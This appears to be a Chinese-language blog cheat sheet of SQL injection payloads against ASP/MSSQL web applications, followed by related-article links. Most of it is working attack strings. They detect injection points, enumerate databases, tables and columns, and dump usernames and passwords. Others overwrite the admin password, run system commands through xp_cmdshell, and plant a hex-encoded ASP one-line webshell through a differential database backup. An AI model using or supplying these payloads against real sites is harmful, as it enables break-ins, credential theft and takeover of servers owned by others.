整形参数判断
    1、直接加'  2、and 1=1  3、 and
1=2
    如果1、3运行异常 2正常就存在注入
字符型判断
    1、直接加'  2、and '1'='1'  3、 and
'1'='2'
搜索型: 关键字%' and 1=1 and '%'='%  
        关键字%' and 1=2 and '%'='%

    如果1、3运行异常 2正常就存在注入
获取数据库版本
and (select @@version)>0

获取当前数据库名
and db_name()>0
获取当前数据库用户名
and user>0
and
user_name()='dbo'
猜解所有数据库名称
and (select count(*) from
master.dbo.sysdatabases where name>1 and dbid=6) <>0
猜解表的字段名称

and (Select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
and
(select top 1 asernaose from admin where id =1)>1
.asp?id=xx having 1=1 
其中admin.id就是一个表名admin 一个列名id
.asp?id=xx group by admin.id having 1=1 可以得到列名

.asp?id=xx group by admin.id,admin.username having 1=1 得到另一个列名 页面要和表有联系

如果知道了表名和字段名就可以爆出准确的值
union select
1,2,username,password,5,6,7,8,9,10,11,12 from usertable where id=6
爆账号

union select min(username),1,1,1,.. from users where username > 'a'

依次循环爆其余的账号
union select min(username),1,1,1,.. from users where username
> 'admin'
;begin declare @ret varchar(8000) set @ret=':' select
@ret=@ret+' '+username+'/'+password from userstable where username>@ret
select @ret as ret into foo end
修改管理员的密码为123
.asp?id=××;update admin set
password='123' where id =1
.asp?id=××;insert into admin(asd,..)
values(123,..) –就能能往admin中写入123了
rebots.txt
猜解数据库中用户名表的名称
and
(select count(*) from 数据库.dbo.表名)>0
若表名存在,则工作正常,否则异常

得到用户名表的名称,基本的实现方法是
1:
and (select top 1 name from 数据库.dbo.sysobjects
where xtype='U' and status>0 )>0 或
and (Select Top 1 name from
sysobjects where xtype=’U’ and status>0)>0
 
但在异常中却可以发现表的名称。假设发现的表名是xyz,则
2:
and (select top 1 name from
数据库.dbo.sysobjects where xtype='U' and status>0 and name not
in('xyz','..'..))>0
  可以得到第二个用户建立的表的名称,同理就可得到所有用建立的  表的名称
3:
and
(select top l name from (select top [N]id,name from bysobjects where 
xtype=char(85)) T order  by  id  desc)>1 N为数据库中地N个表
利用系统表区分数据库类型
and
(select count(*) from  sysobjects)>0
and (select count(*) from
msysobjects)>0
若是SQL-SERVE则第一条,ACCESS则两条都会异常
判断是否有比较高的权限
and
1=(select is_srvrolemember('sysadmin'))
and 1=(select
is_srvrolemember('serveradmin'))
判断当前数据库用户名是否为db_owner:
and 1=(select
is_member('db_owner'))
xp_cmdshell
:exec master..xp_cmdshell '要执行的cmd命令'

判断长度
and (select top 1 len(字段) from 表名)>5
爆料出正确值
and (select
top 1 asc(substring(字段,1,1)) from 表名)>0
差异备份
//备份数据库到某处
;backup
database 数据库名 to disk ='c:\\charlog.bak';--
//创建名为datachar的表
;create
table [dbo].[datachar] ([cmd] [image])
  cmd为列名 image 数据类型

//插入值,为一句话木马的16进制形式:<%execute(request("a"))%>
;insert into
datachar(cmd)values(0x3C25657865637574652872657175657374282261222929253E)—

//进行差异备份,把不同的信息备份到某处
;backup database 数据库名 to disk='目录' WITH
DIFFERENTIAL,FORMAT;-- 

SQL注入常用语句的更多相关文章

  1. SQL注入常用命令

    1. 数据库查询版本 Mssql select @@version Mysql select vresion()/select @@version oracle select banner from ...

  2. SQL server 常用语句

    SQL Server中常用的SQL语句   1.概述 2.查询概述 3.单表查询 4.连接查询 5.带有exists的相关子查询 6.SQL的集合操作 7.插入操作 8.删除操作 9.修改操作 10. ...

  3. 常见的SQL注入检测语句(转载)

    0x00 前言 现在很多WAF都能拦截sqlmap.havij 等注入工具的发包注入,所以这时我们需要在浏览器上使用hackerbar 进行手工注入,或者说是手工绕过注入攻击 0x01 发现SQL 注 ...

  4. SQL注入常用函数(注入小白的学习笔记)

    在盲注的情况下,往往需要一个一个字符的去猜解,即过程中需要截取字符串 在这里整理了一下一些常用函数 由于现阶段学习不够深入,整理分类不清楚具体,不过博主会慢慢进行完善 user() 查询当前数据库用户 ...

  5. SQL Server常用语句

    欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...

  6. sql数据库常用语句总结

    1.增加字段     alter table docdsp     add dspcodechar(200)2.删除字段     ALTER TABLE table_NAME DROP COLUMNc ...

  7. SQL的常用语句

    select * from g_members where id between '16' and '31' order by id desc 倒序排列 select * from g_members ...

  8. SQL触发器 常用语句

    一.创建一个简单的触发器 CREATE TRIGGER 触发器名称 ON 表名 FOR INSERT.UPDATE 或 DELETE AS     T-SQL 语句 注意:触发器名称是不加引号的.   ...

  9. (二)SQL注入常用的内置函数整理(以MySql为例)

    [1]@@datadir 函数作用:返回数据库的存储目录构造SQL语句 select @@datadir;   [2]@@version_compile_os 函数作用:查看服务器的操作系统SQL语句 ...

随机推荐

  1. QAQ OI生涯の最后一个月

    QAQ 总觉得自己要做点什么 可是并不知道去做些什么 QAQ 先挖一些坑吧,不管怎么样,把这些坑填完估计NOI也就无憾了 1.读完13-16的论文 QAQ 2.做完12-16的POI  QAQ 3.做 ...

  2. C#遍历打印机

    #region 获取本机默认打印机名称 ArrayList al1=new ArrayLIst(); private static PrintDocument fPrintDocument = new ...

  3. C/C++类型转换

    1.隐式类型转换 1.1 隐式类型转换的规则 K & R A.6.5 Arithmetic Conversions(数值型间的转换)First, if either operand is lo ...

  4. Java-在线聊天系统-非线程

    一.概述 1.目标:建立基于tcp协议的聊天系统 2.思路:用java socket编程 二.代码 1.ChatServer.java import java.io.DataInputStream; ...

  5. SpringMVC + MyBatis 环境搭建(转)

    本文转自:http://blog.csdn.net/zoutongyuan/article/details/41379851 源码地址:https://github.com/starzou/quick ...

  6. CentOS开机自动运行程序的脚本

    有些时候我们需要在服务器里设置一个脚本,让他一开机就自己启动.方法如下: cd /etc/init.dvi youshell.sh   #将youshell.sh修改为你自己的脚本名编写自己的脚本后保 ...

  7. Ubuntu 13.10 中文字体设置

    据我查到的资料,在默认设置下,Ubuntu 13.10 中文使用的是文泉驿正黑.我总觉得它的效果有些发虚,模糊,不满意. (貌似是Ubuntu从13.04开始取消了默认的微米黑,回退为之前的正黑.这我 ...

  8. js获取滚动条距离浏览器顶部,底部的高度,兼容ie和firefox

    做web开发经常会碰到需要获取浏览器的滚动条与顶部和底部的距离,然后做相应的处理动作.下面作者就如何通过js来获取浏览器滚动条距离浏览器顶部和底部的高度做一下分享,这个是同时兼容ie和firefox的 ...

  9. SPOJ 274 Johnny and the Watermelon Plantation(TLE)

    O(n^3)的时间复杂度,改了半天交了二三十遍,TLE到死,实在没办法了…… 跪求指点!!! #include <cstdio> #include <cstdlib> #inc ...

  10. Windows Services windows域账户管理

    windows  域账户管理 一.什么是域账户: 域账户是域是网络对象的分组.例如:用户.组和计算机.域中所有的对象都存储在 Active Directory 下.Active Directory 可 ...